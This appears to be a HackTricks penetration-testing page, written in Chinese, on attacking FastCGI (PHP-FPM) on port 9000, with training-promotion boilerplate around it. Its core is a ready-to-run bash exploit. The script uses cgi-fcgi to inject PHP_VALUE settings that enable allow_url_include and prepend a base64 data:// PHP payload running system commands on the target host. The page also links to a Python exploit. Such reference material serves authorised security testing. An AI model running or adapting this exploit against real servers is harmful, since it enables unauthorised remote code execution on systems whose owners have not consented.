hacktricks/network-services-pentesting/9000-pentesting-fastcgi.md

3.4 KiB

{% hint style="success" %} 学习与实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习与实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks
{% endhint %}

基本信息

如果你想要了解什么是 FastCGI,请查看以下页面:

{% content-ref url="pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md" %} disable_functions-bypass-php-fpm-fastcgi.md {% endcontent-ref %}

默认情况下,FastCGI 运行在 9000 端口,并且不被 nmap 识别。通常 FastCGI 只监听 localhost

RCE

让 FastCGI 执行任意代码是相当简单的:

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT
done

或者你也可以使用以下的python脚本: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

{% hint style="success" %} 学习与实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习与实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

支持 HackTricks
{% endhint %}